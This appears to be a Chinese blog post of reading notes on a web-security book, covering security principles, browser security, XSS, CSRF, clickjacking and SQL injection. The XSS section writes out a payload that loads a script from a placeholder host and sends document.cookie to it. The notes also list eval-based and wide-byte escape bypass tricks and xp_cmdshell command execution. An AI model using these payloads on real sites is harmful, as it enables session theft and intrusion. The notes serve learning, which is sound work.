《白帽子讲Web安全》读书笔记

最新推荐文章于 2022-02-13 15:18:01 发布

原创

最新推荐文章于 2022-02-13 15:18:01 发布 · 1.5k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#笔记

本文是《白帽子讲Web安全》一书的读书笔记，深入探讨了Web安全的基础概念和高级策略，包括安全三要素、白帽子兵法、浏览器安全、XSS与CSRF、SQL注入防御、文件上传漏洞、认证授权机制、DDoS攻击及防御、业务逻辑安全等多个方面，旨在提升Web应用的安全性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

------

“安全问题的本质是信任的问题”

安全三要素：机密性、完整性、可用性

白帽子兵法：Secure By Default 原则（1：黑白单、白名单 2：最小权限原则）、纵深防御原则、数据与代码分离原则、不可预测性原则

“所有的程序本来也没有漏洞，只有功能，但当一些功能被用于破坏，造成损失时，也就成了漏洞。”

浏览器安全：同源策略、浏览器沙箱（备注：沙箱内的程序要与外界通信时是通过特殊封装的API进行的，这些API内部通常有着很强的安全检测）

------

XSS Payload:
<script src=http://xxx/evil.js></script>
evil.js 内容:
var img = document.createElement("img");
img.src = "http://xxx/log?"+escape(document.cookie);
document.body.appendChild(img);

XSS Worm：Samy Worm、百度空间蠕虫

<DIV id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="..."></DIV>

利用字符编码：%c1\（备注：基于字符集的攻击，让原来的两个字符变成一个Unicode字符，从而“吃掉”转义符）

eval(location.hash.substr(1))

------

Anti CSRF Token

（再次理解“同源策略”）
（区别 XSS 与 CSRF）

ClickJacking（备注：不管是点击劫持还是网页挂马等这类攻击，感觉最好的发现方法就是查看网页源码，特别关注iframe标签）

------

Blind Injection
Timing Attack
边信道攻击

benchmark()函数

命令执行：UDF（MySQL）、master.dbo.xp_cmdshell（MS SQL Server）

编码问题：GBK编码、双字节字符
0x5c = \
0x27 = '
0xbf27 = 两个字符
0x